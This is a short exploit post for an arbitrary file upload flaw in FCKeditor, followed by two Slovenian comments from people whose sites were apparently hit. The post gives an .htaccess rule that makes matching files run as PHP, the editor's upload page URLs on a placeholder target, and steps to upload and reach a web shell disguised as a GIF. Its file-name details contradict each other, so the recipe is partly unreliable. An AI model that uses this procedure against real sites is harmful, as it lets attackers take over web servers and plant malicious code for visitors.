exploit : FCKeditor

2 naročnika

FCKeditor all versian Arbitrary File Upload Vulnerability

In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author : pentesters.ir

[+] Website : WwW.PenTesters.IR

1.create a htaccess file:
code:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html

http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shellphp.gif" automatically.
5.http://target.com/anything/shellphp.gif

6.Now shell is available from server.

Dobro poznano, le da sem bil jaz žrtev :)

tudi moj prijatelj :(, ni imel admin mape zaklenjene in ije fasal eval po celi strani